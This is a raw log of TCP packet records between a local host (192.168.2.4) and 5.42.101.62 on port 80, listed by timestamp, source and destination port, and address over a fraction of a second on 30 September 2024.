Sep 30, 2024 12:22:27.732620955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.732630968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.732665062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.735605955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.735662937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.735680103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.735692978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.735713005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.735728979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.735752106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.735763073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.735769987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.735796928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.735816002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.735846043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.735924959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.735960007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.735976934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.736006975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759150028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759207010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759222031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759242058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759268999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759277105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759289980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759325981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759330988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759402037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759409904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759447098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759459019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759493113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759500027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759526968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759542942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759562016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759581089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759597063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759614944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759630919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759649992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759665012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759681940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759701014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.759718895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.759754896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766083002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766141891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766143084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766194105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766195059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766228914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766246080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766282082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766284943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766318083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766333103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766352892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766367912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766390085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766403913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766439915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766443014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766474962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766493082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766530037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766530991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766562939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766582012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766608000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766617060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766642094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.766676903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.766700983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782264948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782316923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782331944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782366991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782371998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782407045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782418966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782461882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782474041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782526970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782561064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782587051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782588005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782594919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782609940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782629013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782656908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782661915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782696009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782696962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782716990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782733917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782766104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782792091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782793045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782802105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.782818079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.782864094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.792521954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.792581081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.792602062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.792629957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.792643070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.792665958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.792680025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.792717934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.792731047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.792753935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.792771101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.792788982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.792799950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.792824984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.792840004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.792876005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.793123960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.793179989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.793183088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.793212891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.793231010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.793273926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.793323040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.793368101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.793370962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.793407917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.793418884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.793459892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.793459892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.793495893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.793513060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.793546915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.796788931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.796823978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.796859026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.796881914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.796892881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.796928883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.796946049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.796966076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.796984911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797005892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797019005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797055006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797084093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797087908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797105074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797121048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797128916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797158003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797163963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797214985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797344923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797400951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797401905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797435999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797454119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797470093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797492981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797514915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.797693014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.797746897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801155090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801186085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801222086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801239014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801246881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801274061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801300049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801316023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801357031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801359892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801359892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801397085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801419020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801434040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801464081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.801480055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801501989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.801522017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.807136059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.807192087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.807199001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.807224989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.807239056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.807276964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.807281017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.807315111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.807322025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.807349920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.807359934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.807399988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.807401896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.807436943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.807449102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.807482004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.815256119 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.815310001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.815323114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.815357924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.815365076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.815413952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.815424919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.815448999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.815459013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.815481901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.815498114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.815517902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.815526962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.815546989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.815566063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.815588951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.818917990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.818972111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.818989038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819014072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819017887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819063902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819075108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819123983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819127083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819159031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819168091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819192886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819202900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819227934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819237947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819261074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819271088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819307089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819463015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819513083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819514990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819549084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819561958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819591045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819613934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819658995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819792986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819828987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.819842100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.819876909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.822570086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.822604895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.822630882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.822640896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.822648048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.822685957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.822695971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.822745085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.822748899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.822782040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.822792053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.822817087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.822827101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.822850943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.822860956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.822894096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846147060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846179008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846220016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846232891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846251965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846277952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846282959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846317053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846328974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846349955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846362114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846385956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846399069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846436024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846530914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846564054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846585035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846606970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846617937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846651077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846667051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846685886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846702099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846750021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846893072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846926928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846951008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846961975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.846971989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.846991062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.847013950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.847033978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.852982044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853039980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853040934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853070974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853090048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853120089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853122950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853173971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853174925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853210926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853226900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853261948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853267908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853296995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853312969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853331089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853364944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853364944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853389025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853399992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853409052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853446007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853863001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853895903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853924036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853931904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853946924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.853959084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.853972912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.854003906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.869669914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.869734049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.869766951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.869805098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.869820118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.869852066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.869872093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.869887114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.869920015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.869973898 CEST	52534	80	192.168.2.4	5.42.101.62
